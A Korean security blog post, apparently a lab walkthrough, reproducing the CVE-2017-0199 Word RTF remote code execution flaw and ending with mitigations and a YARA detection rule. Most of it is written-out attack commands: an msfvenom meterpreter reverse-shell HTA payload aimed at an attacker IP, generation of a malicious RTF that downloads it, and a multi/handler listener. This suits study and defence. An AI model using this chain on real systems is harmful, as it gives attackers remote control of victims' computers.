1. 취약점 [1]
- MS Zero-day 공격으로, OLE2link 오브젝트를 포함한 워드파일을 열기만 하면 임의의 코드가 실행되는 취약점
영향받는 버전: Microsoft Word 모든 버전
2. 실습
2.1 환경
- 공격자 환경
- 피해자환경
2.2 실습
① PoC를 위한 파일은 Github에 올라온 오픈 소스를 사용 [2]
git clone https://github.com/bhdresh/CVE-2017-0199
② msfvenom을 사용해 리버스쉘을 생성하는 HTA 파일을 생성
msfvenom [3][4]
- 메타스플로잇 프레임워크에 포함되어 있는 페이로드 생성 도구로 칼리에 내장되어 있음
- 2015년 6월에 msfpayload 및 msfencode가 msfvenom에 통합
- 해당 툴을 처음 사용해서 -h 옵션으로 사용법을 확인
> 실행 결과 중 Example 부분을 차용해 HTA 파일을 생성하면 될 것으로 판단
- [사진 2]에서 Example과 Options을 확인해보면 아래와 같은 페이로드를 완성할 수 있음
> -p windows/meterpreter/reverse_tcp: 리버스쉘을 생성하는 페이로드 사용
> LHOST=<공격자 IP>: 리버스쉘 생성시 접속할 공격자의 IP
> LPORT=<공격자 Port>: 리버스쉘 생성시 접속할 공격자의 Port
> -f <파일 포맷>: 파일 포맷 지정 (msfvenom --list format으로 사용가능한 포맷 확인 가능)
> -o <결과 파일명>: 앞서 설정한 옵션으로 생성할 결과 파일명
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f hta-psh -o report.hta
③ RTF 파일 생성
- ②에서 생성한 HTA 파일과 PoC 파일을 통해 RTF 파일을 생성
> -M gen: 악성 페이로드 생성
> -t RTF: 파일 유형으로 RTF 지정
> -w yeahhub.rtf: 공격에 사용할 RTF 파일명 지정
> -u hxxp://192.168.56.102:8000/report.hta: HTA 위치 지정
python cve-2017-0199_toolkit.py -M gen -t RTF -w yeahhub.rtf -u http://192.168.56.102:8000/report.hta
④ 웹 서버 구동
- 피해자가 악성 RTF 문서를 실행했을 때, 스크립트 형태의 악성코드를 전송해야 하므로 서버를 설정하는 것으로 판단됨.
> 아래 명령은 기본적으로 로컬 웹 서버의 8000번 포트를 이용
> RTF 파일을 생성한 디렉터리에서 HTTP를 실행해야 한다고 함
python -m SimpleHTTPServer
⑤ msfconsole을 이용한 멀티핸들러 설정
- 이부분에서 multi/handler에 대한 이해가 되지않아 구글링 결과를 정리하면 다음과 같음
⒜ 피해자가 파일을 실행한 후 공격자가 제어하는 호스트로 접속이 되어야 공격자의 추가 공격 가능
> 피해자가 RTF 파일을 실행해 공격자 서버에 접근해 HTA 파일을 다운받아 스크립트를 실행해 리버스쉘 생성
⒝ 이때, 들어오는 접속을 multi/handler로 받아 메타스플로잇 세션을 열어줌
> multi/handler로 해당 세션을 메타스플로잇으로 넘겨줘 공격자가 추가 악성 행위 수행
# msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.102
set LPORT 4444
run
⑥ 피해시스템에서 파일 실행
- [사진 8]에서 차단 해제를 클릭한 후 발생하는 알림창에서 예를 클릭
> ActiveX 실행 관련 알람 발생 후 문서가 실행됨
⑦ 피해자 > 공격자 리버스쉘 생성
- 피해자 > 공격자 리버스쉘이 생성된 것을 확인할 수 있음
> 공격자:8000으로 접속하여 HTA 파일을 다운받음
> 피해 시스템에서 HTA 파일이 실행되 리버스쉘 생성
> multi/handler에 의해 메타스플로잇으로 해당 세션이 넘어가 추가 악성행위 가능
- 위 과정을 요약하면 다음과 같음
3. 대응방안
① 최신 보안 패치 적용
- 해당 취약점은 2017.04 MS에서 패치한 취약점
② 매크로 기능 비활성화
- 해당 취약점에서는 RTF 파일 실행 후 매크로 사용 시 악성코드에 감염
> 해당 취약점 외 공격자들이 악성코드 등을 유포하는데 매크로 기능을 주로 사용
③ 보안 장비에 탐지 규칙 적용 [5]
<예시>
rule rtf_objdata_urlmoniker_http {
strings:
$header = "{\\rtf1"
$objdata = "objdata 0105000002000000" nocase
$urlmoniker = "E0C9EA79F9BACE118C8200AA004BA90B" nocase
$http = "68007400740070003a002f002f00" nocase
condition:
$header at 0 and $objdata and $urlmoniker and $http
}
④ 불필요 또는 악성코드 유포 등에 사용된 확장자를 메일 보안 솔루션에서 필터링
> 확장자 차단에 따른 영향도 검토 필요
⑤ 출처가 불분명한 첨부파일 실행 주의/금지 등 기본적인 보안 방안 준수
4. 참고
[1] https://nvd.nist.gov/vuln/detail/cve-2017-0199
[2] https://github.com/bhdresh/CVE-2017-0199
[3] https://scytalezz.tistory.com/134
[4] https://dazemonkey.tistory.com/142
[5] https://blog.nviso.eu/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/
[6] https://securityaffairs.co/58077/breaking-news/cve-2017-0199-exploitation-poc.html
[7] https://www.boannews.com/media/view.asp?idx=117413&page=1&kind=1
'악성코드 > 분석' 카테고리의 다른 글
러시아 배후 Snake 악성코드 (0) | 2023.05.13 |
---|---|
악의적인 MS Word RTF File 악성코드 유포 (CVE-2017-0199) #3 (0) | 2023.05.05 |
악의적인 MS Word RTF File 악성코드 유포 (CVE-2017-0199) #1 (0) | 2023.04.24 |
BYOVD (Bring Your Own Vulnerable Driver) 기법 (0) | 2023.03.22 |
제로클릭(Zero-Click) (0) | 2023.02.20 |